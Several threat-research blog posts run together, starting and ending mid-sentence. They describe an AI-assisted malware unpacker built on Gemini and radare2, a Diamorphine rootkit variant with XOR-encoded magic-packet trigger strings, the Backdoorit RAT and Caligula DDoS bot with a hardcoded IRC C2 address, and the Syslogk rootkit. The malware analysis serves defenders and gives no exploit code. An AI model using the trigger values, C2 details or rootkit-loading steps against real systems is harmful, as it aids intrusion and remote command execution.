researcher.From that perspective, the idea behind what we call the Last-Resort Unpacker is fairly simple: if AI is good at spotting patterns and translating logic across representations, could it help us recover payloads in cases where traditional static unpacking pipelines fail? We are not trying to solve the hardest forms of protection here. The goal is more pragmatic, to cover more real-world cases, reduce manual effort, and potentially extract logic that can later feed back into our regular unpacking workflows.We came up with two approaches.<h2>High level design – Variant 1</h2>Given a sample to unpack, this simple premise has a few steps. Since we’ll go the most direct but also the riskiest way, let us call it a carpe diem variant.Identification:The first step is to identify which functions might be responsible for the unpacking and which buffers they are targeting. We have decided to use Gemini 2.5 Pro for our workload and complemented it with radare2&nbsp;reverse engineering framework to provide structured access to the disassembly. Once we identify the suspected decryption routine and the corresponding buffers, we may proceed to the translation.Translation: The next step relies on Gemini’s capabilities to rewrite the identified functions into their pythonic representation with prescribed function signatures.Verification: Now we have a Python code that hopefully faithfully represents the machine code identified in the first step. Now comes up the time to admit that we will be cheating on the initial assignment and we have to ensure that we will not be caught. We can easily statically check whether the source code is a valid source code. Now comes the tricky part – we have to verify that the product Python code does not have undesirable side-effects, be it from simple hallucinations or worse – due to hypothetical prompt injection. We have decided to do a strict abstract syntax tree (AST) verification which permits only certain keywords, operations, imports, and calls. If we obtain something that does not pass these criteria, then we have an interesting research case. In the other case, we may proceed to unpacking.Unpacking: Using the verified script, we attempt to do extraction on the source sample. Being paranoid, we shall use read-only environment with limited network access. If we succeed, we have not only an unpacked buffer but also an extraction script that we can use to improve our regular unpacking capabilities.<h2>High level design – Variant 2</h2>Now that we have attempted to do the most straightforward way, we can try to be a bit cleverer. Given the assumption that we can identify parts of the code responsible for the unpacking, adding two more assumptions that the unpacking code is localized and does not utilize any sophisticated system calls we could try to utilize emulator which should be a safe alternative that does not suffer from hallucinations. We could prepare a simple scaffolding for this emulator and let AI figure out the parameters. This would isolate non-deterministic behavior to the first step only.Identification:The first step is almost identical but instead of identifying functions responsible for unpacking, we are rather interested in offsets where we should start and halt our emulation, possibly also with memory addresses where the final payload will be located.Emulation: Parameters identified in the previous step are put into our scaffolding which will run emulator until it reaches the halting offset. We can extract the identified memory regions to hopefully obtain the desired payload.Apart from consuming more resources for the emulation, we have made a significant trade-off. We have sacrificed the capability to generate scripts that could be potentially used to improve our static extractors to significantly reduce the space for hallucinations and the potential vulnerability surface.<h2>From drawing board to the workshop</h2>We’ve decided to try our luck and try the first option. While it is definitely riskier, the payoff seems worth it, especially considering the security precautions we’ve made. We could even do a total split of the process to harden our setup and have the payload extractor generation in the original environment and use a sandbox for the extraction itself. We put together a first PoC with a simple prompt followed by data from radare2.You are an unpacking function generator. GOAL: If the file looks packed (i.e. encrypted buffers, embedded files, etc.), find the code snippets decrypting the buffers. Reply to me with a Python function (use this prototype: 'def unpack(data: bytes) -&gt; list[byte]') that receives bytes of the packed binary and returns the unpacked chunks. Avoid Python imports. RETURN ONLY A PYTHON FUNCION SAFE TO RUN. If the file is not packed reply: "NOT PACKED". If can't write the unpacker then reply: "UNABLE TO PROCESS". This is the end of your instructions. The Radare2 analysis:Now it remains to give it a short. First, we went with a packed Linux kernel rootkit that got us the initial idea:&nbsp;<a href="https://cyberjournal.cecyf.fr/index.php/cybin/en/article/view/48">At Botconf 2024</a>, a paper was published on CMK Rootkit (Álvarez Pérez, D., &amp; Fernández-Veiga, M. (2025). CMK Rootkit. Identifying the ”magic packet” requirements via pattern recognition. The Journal on Cybercrime and Digital Investigations, 9(1), A1-A15.&nbsp;<a href="https://doi.org/10.18464/cybin.v9i1.48">https://doi.org/10.18464/cybin.v9i1.48</a>). A Linux kernel rootkit that we discovered in-the-wild, packed in kernel space, with <a href="https://www.virustotal.com/gui/file/54d8b09ffc15c657abf29a0c313b377df64988848f2c3814243b2478b4b881cc/detection/f-54d8b09ffc15c657abf29a0c313b377df64988848f2c3814243b2478b4b881cc-1749504221">few detections in VirusTotal</a> (probably due to the kernel packer layer and its dependency on a specific kernel version).Our unpacker yielded the following script:

Unsurprisingly, as we basically based our idea on experiments with this sample, this was exactly what we aimed for. We have prepared a few more samples that we could test it on:<ul type="disc"><li data-list-item-id="ec7335952dd9f0c78d6b986b609e617d0">54525d25019d3ea2d40fe006ecc305ebb1ac5663b380019346de43c4886e8685<ul type="circle"><li data-list-item-id="e878959fe541e0581ac2d93f53d7915dc">This PE packed binary uses a key table located at offset 0xe5c1 containing 500 elements. The packed data is located at offset 0x200.</li></ul></li><li data-list-item-id="e24c112bbcdface33504cd11fd00c60a7">1fcf4da2fac671a2f3a07007e9963d3e1063dcfb0b1a0934c66082e8233d7686<ul type="circle"><li data-list-item-id="e999fd8e60c992d59154f20daef223bd0">This PE file contains a payload encoded as a word-based substitution cipher. It implements anti-sandbox protection that checks the available memory (via GlobalMemoryStatusEx) and the system ticks (via GetTickCount64) to determine if the underlying system is a sandbox.</li></ul></li></ul><h2>Closing thoughts</h2>This experiment fits into a broader shift in how we are using AI in technical research. The value is not in handing over reverse engineering to a model and hoping for the best. It is in identifying narrow, high-friction parts of the workflow where pattern recognition and code translation can save analysts time, while validation, judgment, and final conclusions remain firmly in human hands.A last-resort unpacker will not solve the hardest cases, and it is not a replacement for established tooling or expert analysis. Advanced multi-layer protections, virtualization, and heavily environment-dependent logic still remain difficult territory. But even within those limits, the approach already shows practical value. If it helps recover payloads from unsupported packers, reduces manual effort in repetitive cases, or produces reusable logic that can later improve our existing unpacking pipelines, then it is worth pursuing.Seen from that perspective, the point is not that AI is replacing reverse engineers. It is that it can make experienced researchers faster when conventional automation runs out of road.

Exploring how AI can assist in unpacking protected binaries, recovering payloads from unsupported packers, while reducing repetitive analysis

Building a last-resort unpacker with AI

<h2>Introduction</h2>Code reuse is very frequent in malware, especially for those parts of the sample that are complex to develop or hard to write with an essentially different alternative code. By tracking both source code and object code, we efficiently detect new malware and track the evolution of existing malware in-the-wild.&nbsp;<a href="https://github.com/m0nad/Diamorphine">Diamorphine</a> is a well-known Linux kernel rootkit that supports different Linux kernel versions (2.6.x, 3.x, 4.x, 5.x and 6.x) and processor architectures (x86, x86_64 and ARM64). Briefly stated, when loaded, the module becomes invisible and hides all the files and folders starting with the magic prefix chosen by the attacker <a href="https://github.com/m0nad/Diamorphine/blob/master/diamorphine.h#L8">at compilation time</a>. After that, the threat actor can interact with Diamorphine by sending signals allowing the following operations: hide/unhide arbitrary processes, hide/unhide the kernel module, and elevate privileges to become root.&nbsp;In early March 2024, we found a <a href="https://www.virustotal.com/gui/file/067194bb1a70e9a3d18a6e4252e9a9c881ace13a6a3b741e9f0ec299451c2090">new Diamorphine variant undetected in-the-wild</a>. After obtaining the sample, I examined the .modinfo section and noticed that it fakes the legitimate <a href="https://www.kernelconfig.io/config_netfilter_xtables">x_tables Netfilter module</a> and was compiled for a specific kernel version (Kernel 5.19.17).

By listing the functions with <a href="https://rada.re/">Radare2</a>, we can notice that the sample under analysis consisted of Diamorphine kernel rootkit (i.ex. <a href="https://github.com/m0nad/Diamorphine/blob/2337293fe8e4f862e769dee4989c432811fb802d/diamorphine.c#L293">module_hide</a>, <a href="https://github.com/m0nad/Diamorphine/blob/2337293fe8e4f862e769dee4989c432811fb802d/diamorphine.c#L302">hacked_kill</a>, <a href="https://github.com/m0nad/Diamorphine/blob/2337293fe8e4f862e769dee4989c432811fb802d/diamorphine.c#L60">get_syscall_table_bf</a>, <a href="https://github.com/m0nad/Diamorphine/blob/2337293fe8e4f862e769dee4989c432811fb802d/diamorphine.c#L89">find_task</a>, <a href="https://github.com/m0nad/Diamorphine/blob/2337293fe8e4f862e769dee4989c432811fb802d/diamorphine.c#L100">is_invisible</a>, and <a href="https://github.com/m0nad/Diamorphine/blob/2337293fe8e4f862e769dee4989c432811fb802d/diamorphine.c#L286">module_show</a>). But we can see also additional functions in the module (a, b, c, d, e, f, and setup) indicating that the sample was weaponized with more payloads.&nbsp;

Since Diamorphine is a well-known and open-source Linux kernel rootkit, this blog post is focused on the new features that were implemented:<ul><li>Stop Diamorphine by sending a message to the exposed device:  xx_tables.</li><li>Execute arbitrary operating system commands via magic packets.</li></ul><h2>Inserting the kernel rootkit</h2>To insert this Diamorphine variant, we need a Linux operating system with the kernel version 5.19.17. We can find the appropriate Linux distro by using <a href="https://rada.re/">Radare2</a> too. Based on the compiler, we can see that <a href="https://releases.ubuntu.com/22.04.4">Ubuntu 22.04</a> is a good candidate for this.&nbsp;

In fact, I found a person on Internet who used <a href="https://github.com/josedonizetti/tracee-demos/blob/main/rootkit/Dockerfile#L1C6-L1C18">Ubuntu Jammy</a> for this, and the <a href="https://github.com/josedonizetti/tracee-demos/blob/main/rootkit/Diamorphine/diamorphine.mod.c#L29">version of the symbols</a> of this specific Diamorphine source code partially matches the version of the symbols of the new Diamorphine variant that we found in VirusTotal (i.ex. module_layout don’t matches the version, but unregister_kprobe matches it).&nbsp;

Therefore, the kernel rootkit can be inserted in an Ubuntu Jammy distro having the appropriate version of the symbols (see the <a href="https://www.kernel.org/doc/html/latest/kbuild/modules.html">Module.symvers</a> file of the kernel where the Diamorphine variant will be inserted into).<h2>XX_Tables: The device that the rootkit creates for user mode to&nbsp; kernel mode communication</h2>Impersonating the <a href="https://www.kernelconfig.io/config_netfilter_xtables">X_Tables module of Netfiler</a> is a clever idea because, this way, registering Netfilter hooks doesn’t raise suspicions, since interacting with Netfilter is an expected behaviour.&nbsp;At the init_module function, the rootkit creates a device named xx_tables for communicating user mode space with the kernel mode rootkit.

Following the <a href="https://en.wikipedia.org/wiki/Everything_is_a_file">everything is a file</a> idea, the <a href="https://archive.kernel.org/oldlinux/htmldocs/kernel-api/API-cdev-init.html">character device structure initialization function</a> receives the <a href="https://elixir.bootlin.com/linux/v5.19.17/source/include/linux/fs.h#L1964">file operations structure</a> exposing the operations implemented and handled by the xx_tables device. The “g” function that appears in the <a href="https://www.oreilly.com/library/view/linux-device-drivers/0596000081/ch03s03.html">file_operations</a> structure is responsible for handling the dev_write operation. &nbsp;

<h2>Handling the dev_write operation: The “g” function.</h2>We can see that the function reads the commands from user mode space via xx_tables device. The memory is copied from the device using the API _copy_from_user.

For safety reasons, the rootkit checks that the data sent from user mode space is not empty. Such data structure contains two fields: The length of the data, and a pointer to the data itself. &nbsp;

Finally, if the input sent from user mode space is the string “exit“, it calls to the exit_ function of the rootkit which restores the system, frees the resources and unloads the kernel module from memory. &nbsp;

<h2>The exit_ function</h2>The exit_ function properly restores the system and unloads the rootkit from the kernel memory. It performs the following actions:<ol><li>It destroys the device created by the rootkit.</li><li>It destroys the <a href="https://www.kernel.org/doc/html/latest/driver-api/infrastructure.html?highlight=class_create#c.__class_create">struct class</a> that was used for creating the device.</li><li>Deletes the <a href="https://linux-kernel-labs.github.io/refs/heads/master/labs/device_drivers.html">cdev (character device)</a> that was created.</li><li>Unregisters the <a href="https://www.oreilly.com/library/view/linux-device-drivers/0596000081/ch03s02.html">chrdev_region</a>.</li><li>Unregisters the <a href="https://wiki.nftables.org/wiki-nftables/index.php/Netfilter_hooks">Netfilter hooks</a> implementing the “magic packets“.</li><li>Finally, it replaces the pointers with the original functions in the system_calls table.</li></ol><h2>The magic packets</h2>The new Diamorphine rootkit implements “magic packets” supporting both: IPv4 and IPv6. Since the <a href="https://thermalcircle.de/doku.php?id=blog:linux:nftables_packet_flow_netfilter_hooks_detail&amp;s%5B%5D=nfproto&amp;s%5B%5D=inet#address_families">Protocol Family</a> is set to <a href="https://elixir.bootlin.com/linux/latest/C/ident/NFPROTO_INET">NFPROTO_INET</a>).

The netfilter_hook_function relies in nested calls to a, b, c, d, e and f, functions for handling the magic packets. The magic packet requirements include containing the values “whitehat” and “2023_mn” encrypted with the XOR key: 0x64. &nbsp;

If the packet fits the requirements the arbitrary command is extracted from it and executed into the infected computer. &nbsp;

<h2>The hooks in the syscalls table</h2><a href="https://github.com/m0nad/Diamorphine/blob/master/diamorphine.c#L411">This</a> is the original Diamorphine rootkit implementation of the syscalls hooking:

Even if the code is exactly the same in the new Diamorphine variant, it is important to highlight that it is configured to hide the files and folders containing the string: “…”. &nbsp;

<h2>Conclusions</h2>We frequently discover new Linux kernel rootkits implementing magic packets that are undetected in-the-wild (i.ex. <a href="https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/">Syslogk</a>, <a href="https://www.virustotal.com/gui/file/D6E74832BBABCA012BC0C3A8A5F1A87CB4B5D241E2A88B75CB01CB0E076B8C98">AntiUnhide</a>, <a href="https://www.virustotal.com/gui/file/2d4353232fb36aed5440fdc5b763bfa273f9cd3c9dbf392aaed1e3ba66bb429c/detection/f-2d4353232fb36aed5440fdc5b763bfa273f9cd3c9dbf392aaed1e3ba66bb429c-1691657203">Chicken</a>, etc.) and will continue collaborating and working together for providing the highest level of protection to our customers.

In this new in-the-wild version of Diamorphine, the threat actors added the device functionality allowing to unload the rootkit kernel module from memory and the magic packets functionality enabling the arbitrary commands execution in the infected system.<h2>How to prevent infection and stay safe online</h2><ul><li>Keep your systems up to date.</li><li>Be sure that your Internet connection is safe to use (i.ex. <a href="https://www.avast.com/secureline-vpn">Virtual Private Network</a>).</li><li>Avoid downloading/executing files from untrusted sources.</li><li>Exercise the Principle of Least Privilege (PoLP). In the case of Linux, please, do not execute actions making use of the root account if it is not strictly necessary.</li><li>Use a strong cyber safety solution such as Norton, Avast, Avira or AVG to make sure you are protected against these types of malwares.</li></ul><h2>New Diamorphine variant</h2>067194bb1a70e9a3d18a6e4252e9a9c881ace13a6a3b741e9f0ec299451c2090<h2>IoC repository</h2>The Diamorphine Linux kernel rootkit IoCs, the Yara hunting rule and the VirusTotal query are in our&nbsp;<a href="https://github.com/avast/ioc/tree/master/Diamorphine">IoC repository</a>.

Advanced Features of New Diamorphine

New Diamorphine rootkit variant seen undetected in the wild

IntroductionThe Go programming language is becoming more and more popular. One of the reasons being that Go programs can be compiled for multiple operating systems and architectures in a single binary self containing all needed dependencies. Based on these properties, and as <a href="https://decoded.avast.io/janneduchal/analysis-of-attack-against-national-games-of-china-systems/">we expected</a>, we observed an increase in the number of malware and gray tools written in Go programming language in the last months. We are discovering new samples weekly. &nbsp;For instance, in <code>late April</code>, we discovered two new strains in our internal honeypots, namely <code>Backdoorit</code> and <code>Caligula</code>, both of which were at that time undetected on VT.<ul><li><a href="https://www.virustotal.com/gui/file/34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0">Backdoorit VirusTotal history</a></li></ul>

<ul><li data-list-item-id="ebf8087244dbe66a6740db70bd1cffd16"><a href="https://www.virustotal.com/gui/file/fe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c">Caligula VirusTotal history</a></li></ul>

Both of these malware strains are multiplatform bots compiled for many different processor architectures and written in the Go programming language.Analyzing Backdoorit<code>Backdoorit</code> (version 1.1.51562578125) is a multiplatform <code>RAT</code> written in Go programming language and supporting both <code>Windows</code> and <code>Linux/Unix</code> operating systems. In many places in the code it’s also referred to as <code>backd00rit</code>.Based on the close inspection of the <code>analyse-full</code> command of <code>Backdoorit</code>, we concluded that the main purpose of this malware is stealing <code>Minecraft</code> related files, <code>Visual Studio</code> and <code>Intellij</code> projects.But the malware is not limited just to those files. Some commands (<code>upload</code>, <code>basharchive</code>, <code>bashupload</code> and so on) allow it to steal arbitrary files and information, install other malware in the system or run arbitrary commands (<code>run</code>, <code>run-binary</code>, etc.) and take screenshots of the user activity (<code>screenshot</code>, <code>ssfile</code> and so on).Evidence indicates that the <code>Backdoorit</code> developer is not a native English speaker, further pointing to a possible Russian threat actor. The comments and strings in the code are mostly written in English but often grammatically incorrect. For instance, we found the message: “An confirmation required, run ”. We also discovered some isolated strings written in the Russian language.

In addition to the aforementioned strings we also observed that, amongst others, the <a href="https://vimeworld.com/">VimeWorld</a> files (a Russian project that offers Minecraft servers) are being targeted. This further leads us to believe the Russian origin of the threat actor behind this malware.

After running <code>Backdoorit</code> the <code>RAT</code> retrieves some basic environment information such as the current operating system and the name of the user. It then continuously tries to connect to a <code>C&amp;C</code> server to give the attacker access to a shell.The malware logs all executed operations and taken steps via a set of <code>backd00r1t_logging_* </code>functions. Those logs can be uploaded to the server of the attacker either by using <code>uploadlogs</code> and<code> uploadlogs-file</code> shell commands or automatically in case a Go panic exception is raised.In such case <code>backd00r1t_backdoor_handlePanic</code> handles the exception and performs the following actions:<ol><li data-list-item-id="e9f97a00998ed9ca1b4c3ef8602346b9c">It first sends the logs to the endpoint<code> /api/logs</code> of the <code>C&amp;C</code> server with a <code>JSON</code> request structure as defined in the function: <code>backd00r1t_api_SendLogs</code>.</li><li data-list-item-id="eee46aac3a4e9b2abe46552366da83c06">It closes the connection with the C&amp;C server.</li><li data-list-item-id="e0c5c6eca3c4b13c474b19b272471e715">It attempts to reconnect again.</li></ol>The mentioned handler helps to keep the bot connected and also allows the attacker to remotely follow the execution trace.Once the connection to C&amp;C succeeds, the attacker gets the context information listed below. The function <code>backd00r1t_backdoor_SocketConnectionHandle</code> is responsible for handling all the commands supported by this RAT and first calls to <code>backd00r1t_backdoor_printMotd</code> for displaying such information:<ul><li data-list-item-id="e66f1078ff58e5c244de77e53e8e5d7c0">Last connected time</li><li data-list-item-id="ef30cbc43ac364e8deadb68e07d7669b7">The Backdoorit version</li><li data-list-item-id="eba0af06b8407957585778e2d18b83f73">Process</li><li data-list-item-id="ebe5c821bfd57246988c2adabf92343c4">Active connections</li><li data-list-item-id="e297f7707894ce7f4e8a734ddb1e8cd83">User name</li><li data-list-item-id="e8e80a9b69aca5797397d691acba426b4">User home</li><li data-list-item-id="e598191149c507dbd6649177115bc6f11">User id</li><li data-list-item-id="ee3622c1adc6765d0803f5e49cde0b7ec">Login</li><li data-list-item-id="e9488127746bc4bfaa083dbba0ba648f9">Gid</li><li data-list-item-id="e21e5836c09043a8a96a477bffc019e5c">Process path</li><li data-list-item-id="e0dbe51833845270822cf48eebd89aafe">Modules Autostart state</li></ul> The shell allows the threat actor to remotely execute arbitrary commands. The first command that is likely to be run is the <code>analyse-full </code>command because it generates a <code>report.txt</code> file containing the <code>Desktop</code>, <code>Documents</code>, <code>Downloads</code>, <code>Minecraft</code> and <code>VimeWorld</code> folder file trees and uploads the mentioned report and both <code>Visual Studio</code> and <code>IntelliJ</code> projects folders contents, to <a href="http://bashupload.com/">Bashupload</a>, a web service allowing to upload files from command line with a storage limitation of <code>50GB</code>.As mentioned earlier, if the attacker chooses to do so, he/she will be also able to implant other malware in the system. The threat actor can use the commands: <code>run-binary</code> (a command for downloading and executing a script), <code>shell</code> (a command allowing to spawn the operating system shell and execute arbitrary commands) or other available commands.The malware also contains a sort of a “<code>kill-switch</code>” that can be triggered by the <code>exploit</code> command, but in this case this does not simply remove the malware itself, but has the ability to crash the Windows operating system by exploiting <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24098">CVE-2021-24098</a> and also <a href="https://twitter.com/jonasLyk/status/1347901108132454406">corrupt the NTFS</a> of the hard disk via <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28312">CVE-2021-28312</a> on vulnerable systems. This leads to complete loss of file information (including size, time and date stamps, permissions and data content) as well as, of course, removing evidence of the infection.There are many more commands implemented in the shell that you can check at the corresponding section of the <a href="https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/#appendix">Appendix</a>. As you will notice, the malware incorporates a <code>checkupdates</code> command so we may expect to see new versions of <code>Backdoorit</code> soon.Analyzing Caligula<code>Caligula</code> is a new <code>IRC</code> multiplatform malicious bot that allows to perform <code>DDoS</code> attacks.The malware was written in Go programming language and distributed in <code>ELF</code> files targeting several different processor architectures:<ul><li data-list-item-id="e83dc2801ad76ddf3dcc7c62a3270cbc5">Intel 80386 32-bit</li><li data-list-item-id="edc858433f7e946bc161000c51156919e">ARM 32-bit</li><li data-list-item-id="ea3de10697edf39a307e5ae30f571a61a">PowerPC 64-bit</li><li data-list-item-id="e00e96912e85a4ea104b3bf5eecc3bc12">AMD 64-bit</li></ul>It currently supports <code>Linux</code> and <code>Windows</code> platforms via <code>WSL</code> and uses the function <code>os_user_Current</code> for determining the underlying operating system.

<code>Caligula</code> is based on the <a href="https://github.com/whyrusleeping/hellabot">Hellabot</a> open source project, an easily modifiable event based <code>IRC bot</code> with the ability to be updated without losing connection to the server.Of course, more code reuse was found in the <code>Caligula</code> coming from open source projects (<a href="https://github.com/inconshreveable/log15">log15</a>, <a href="https://github.com/ftrvxmtrx/fd">fd</a>, <a href="https://github.com/mattn/go-shellwords">go-shellwords</a>, <a href="https://github.com/mattn/go-isatty">go-isatty</a> and <a href="https://github.com/mattn/go-colorable">go-colorable</a>) but the core functionality is based on <code>Hellabot</code>.All the samples that we hunted in the wild are prepared to connect to the same hardcoded IRC channel by using the following data:<ul><li data-list-item-id="ea7707a2487a3b8ebfd65b7517bf5ae60">Host: 45.95.55.24:6667</li><li data-list-item-id="efe865d34a831a6aea46038efb505d4c9">Channel: #caligula</li><li data-list-item-id="e95c4765f5c8197184528ec131666f065">Username: It is composed of the platform, current user and a pseudo-random number.<ul><li data-list-item-id="e8a71d0c87c941abe331b820eb8b80bb8">e.g. [LINUX]kali-11066</li></ul></li></ul>As shown in the following screenshot, the bot is prepared for joining the <code>Caligula IRC Net v1.0.0</code> botnet.

<code>Caligula IRC Net v1.0.0</code> is a botnet ready for flooding. The bots offers to the attacker the following attacks:

For more information on how Caligula bot source code is organized, check the <a href="https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/#listing">source code file listing</a> available in the appendix. It can be useful for getting a high level perspective on the malware design, notice that new attack methods can be easily added to it and identify the Caligula malware family.ConclusionDue to its native multiplatform support and relative ease of development, the use of Go programming language for malicious purposes is currently growing, especially in malware targeting Unix/Linux operating systems.Naturally with the growing interest and community around the Go programming language, some of the malicious tools are being open sourced on Github and resued by different threat actors.In this instance, we were one of the firsts in hunting and detecting Backdoorit and Caligula.Appendix<h2>Backdoorit shell commands reference</h2>

<h2>Backdoorit bot source code listing</h2><ul><li data-list-item-id="ef06db2ba5a1764c0f5030930d3339acc">H:/backdoorIt//injected/backdoor/BackdoorEnvironment.go</li><li data-list-item-id="e12f4df972b42873577bd2d6ca09a4c28">H:/backdoorIt//injected/backdoor/BackgroundTasks.go</li><li data-list-item-id="edcdd47e39701cdec1065dc085aa23a00">H:/backdoorIt//injected/backdoor/CommandHelpers.go</li><li data-list-item-id="e0cdc2155006e25c3501be2378f8bb471">H:/backdoorIt//injected/backdoor/ConnectionHandler.go</li><li data-list-item-id="e204d06937b10370f91d0facdbf17454f">H:/backdoorIt//injected/files/Assets.go</li><li data-list-item-id="e3b4532c35b564d780f6b93149365e8c3">H:/backdoorIt//injected/api/Configuration.go</li><li data-list-item-id="e33c17bddd204f8e23e2b67120e3e7773">H:/backdoorIt//injected/backdoor/ExecHandlers.go</li><li data-list-item-id="ea8962bd59d4990e9799ad995d07c9476">H:/backdoorIt//injected/backdoor/ExecHandlers__linux.go</li><li data-list-item-id="e1986b1a6953a70068d61ed3062fc397e">H:/backdoorIt//injected/backdoor/main.go</li><li data-list-item-id="ee76a6da2393a5ee74aa666d6a0fa7229">H:/backdoorIt//injected/launcher/main.go</li></ul><h2 id="listing">Caligula bot source code listing</h2><ul><li data-list-item-id="e78ede6ac73294b1fb4fab5042ee1b649">/root/irc/bot/attack/attack.go</li><li data-list-item-id="eefbe03c37af064ca65368164a6cef3dd">/root/irc/bot/attack/methods.go</li><li data-list-item-id="e8f9c427ba2b2ca67da55540a6d5f9df5">/root/irc/bot/attack/parser.go</li><li data-list-item-id="e57584483e13e4c7231a66ea51580a8ef">/root/irc/bot/attack/flags.go</li><li data-list-item-id="eedacc80752b71f951d9e20cc11473efd">/root/irc/bot/network/header.go</li><li data-list-item-id="e9fee35b75aa7b3abc48af4b12b40a923">/root/irc/bot/network/ip.go</li><li data-list-item-id="ef953f7a10563e48aedc4b1b3dc746ee2">/root/irc/bot/network/tcp.go</li><li data-list-item-id="ed6901ac2172d3aba17362ce95daa7831">/root/irc/bot/routine/timedRoutine.go</li><li data-list-item-id="e998e3740a32aa21b9e3bc1394fe87c54">/root/irc/bot/attack/methods/httpflood.go</li><li data-list-item-id="e4a57281036bf7deda2442a4572b45be4">/root/irc/bot/attack/methods/sshflood.go</li><li data-list-item-id="ed0d4fdc2dd1da95c638e359c25e22745">/root/irc/bot/attack/methods/synflood.go</li><li data-list-item-id="e2f493ca8fcf271d8b675109f54b67ee5">/root/irc/bot/attack/methods/tcpflood.go</li><li data-list-item-id="e543e4cbdab502ab61abb0d01c9bad787">/root/irc/bot/attack/methods/udpflood.go</li><li data-list-item-id="e74215da59bebd4936a5ab7aea63779c5">/root/irc/bot/handle.go</li><li data-list-item-id="ee07ea50b62aa3cd7bf50c84efb02b8d5">/root/irc/bot/singleInstance/singleinstance.go</li><li data-list-item-id="e944207646b7d9fca1a9d76fcac6977af">/root/irc/bot.go</li></ul>IoCs<h2>Backdoorit</h2><ul><li data-list-item-id="ee5516638cb2d81e1421d5ddf1d7c6576"><code>34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0</code></li></ul><h2>Caligula</h2><ul><li data-list-item-id="e7eb41373c0cdf4614fc0af978b76e238"><code>147aac7a9e7acfd91edc7f09dc087d1cd3f19c4f4d236d9717a8ef43ab1fe6b6</code></li><li data-list-item-id="e62dde60cebffe4d3e3f6387a7f92f1a7"><code>1945fb3e2ed482c5233f11e67ad5a7590b6ad47d29c03fa53a06beb0d910a1a0</code></li><li data-list-item-id="eea50a60c6df57b460f423d6e17d476d9"><code>4a1bb0a3a83f56b85f5eece21e96c509282fec20abe2da1b6dd24409ec6d5c4d</code></li><li data-list-item-id="e223de33ee562361dbbe95664ab3ea86e"><code>6cfe724eb1b1ee1f89c433743a82d521a9de87ffce922099d5b033d5bfadf606</code></li><li data-list-item-id="ed459ad3eeba8ca4f692ca716ce992230"><code>71b2c5a263131fcf15557785e7897539b5bbabcbe01f0af9e999b39aad616731</code></li><li data-list-item-id="e093a1d996a5cfecb5bec4afe7fb949a7"><code>99d523668c1116904c2795e146b2c3be6ae9db67e076646059baa13eeb6e8e9b</code></li><li data-list-item-id="e0027959069e8fe8a8faf0d9e54719cc9"><code>fe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c</code></li><li data-list-item-id="e836efc234b5b58bc9cd66401d8c53856"><code>97195b683fb1f6f9cfb6443fbedb666b4a74e17ca79bd5e66e5b4e75e609fd22</code></li><li data-list-item-id="e656be6fcfed528378f0e7cbd23487d86"><code>edcfdc1aa30a94f6e12ccf3e3d1be656e0ec216c1e852621bc11b1e216b9e001</code></li></ul>The complete Backdoorit and Caligula IoCs are in our <a href="https://github.com/avast/ioc/tree/master/Caligula">IoC repository</a>.

"Backdoorit" and "Caligula" in Focus

Go malware on the rise

Threat Research

IntroductionRootkits are dangerous pieces of malware. Once in place, they are usually really hard to detect. Their code is typically more challenging to write than other malware, so developers resort to code reuse from open source projects. As rootkits are very interesting to analyze, we are always looking out for these kinds of samples in the wild.<a href="https://github.com/yaoyumeng/adore-ng">Adore-Ng</a> is a relatively old, open-source, well-known kernel rootkit for Linux, which initially targeted kernel 2.x but is currently updated to target kernel 3.x. It enables hiding processes, files, and even the kernel module, making it harder to detect. It also allows authenticated user-mode processes to interact with the rootkit to control it, allowing the attacker to hide many custom malicious artifacts by using a single rootkit.In<code> early 2022</code>, we were analyzing a rootkit mostly based on <code>Adore-Ng</code> that we found in the wild, apparently under development. After obtaining the sample, we examined the <code>.modinfo</code> section and noticed it is compiled for a specific kernel version.

As you may know, even if it is possible to ‘force load’ the module into the kernel by using the <code>--force</code> flag of the <a href="https://man7.org/linux/man-pages/man8/insmod.8.html">insmod</a> Linux command, this operation can fail if the required symbols are not found in the kernel; this can often lead to a system crash.<code>insmod -f {module}</code>We discovered that the kernel module could be successfully loaded without forcing into a default <a href="https://www.linuxvmimages.com/images/centos-6/">Centos 6.10</a> distribution, as the rootkit we found is compiled for a similar kernel version.While looking at the file’s strings, we quickly identified the <code>PgSD93ql</code> hardcoded file name in the kernel rootkit to reference the payload. This payload file name is likely used to make it less obvious for the sysadmin, for instance, it can look like a legitimate <a href="https://www.postgresql.org/">PostgreSQL</a> file.

Using this hardcoded file name, we extracted the file hidden by the rootkit. It is a compiled backdoor trojan written in C programming language; Avast’s antivirus engine detects and classifies this file as <code>ELF:Rekoob</code> – which is widely known as the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe">Rekoobe</a> malware family. <code>Rekoobe</code> is a piece of code implanted in legitimate servers. In this case it is embedded in a fake SMTP server, which spawns a shell when it receives a specially crafted command. In this post, we refer to this rootkit as <code>Syslogk</code> rootkit, due to how it ‘reveals’ itself when specially crafted data is written to the file <code>/proc/syslogk</code> .Analyzing the Syslogk rootkitThe <code>Syslogk</code> rootkit is heavily based on <code>Adore-Ng</code> but incorporates new functionalities making the user-mode application and the kernel rootkit hard to detect.<h2>Loading the kernel module</h2>To load the rootkit into kernel space, it is necessary to approximately match the kernel version used for compiling; it does not have to be strictly the same.<code>vermagic=2.6.32-696.23.1.el6.x86_64 SMP mod_unload modversions</code>For example, we were able to load the rootkit without any effort in a <a href="https://www.linuxvmimages.com/images/centos-6/">Centos 6.10</a> virtual machine by using the <a href="https://linux.die.net/man/8/insmod">insmod</a> Linux command.After loading it, you will notice that the malicious driver does not appear in the list of loaded kernel modules when using the <a href="https://linux.die.net/man/8/lsmod">lsmod</a> command.<h2>Revealing the rootkit</h2>The rootkit has a <code>hide_module</code> function which uses the <a href="https://www.kernel.org/doc/html/v5.8/core-api/kernel-api.html#c.list_del">list_del</a> function of the <a href="https://www.kernel.org/doc/html/v5.8/core-api/kernel-api.html">kernel API</a> to remove the module from the linked list of kernel modules. Next, it also 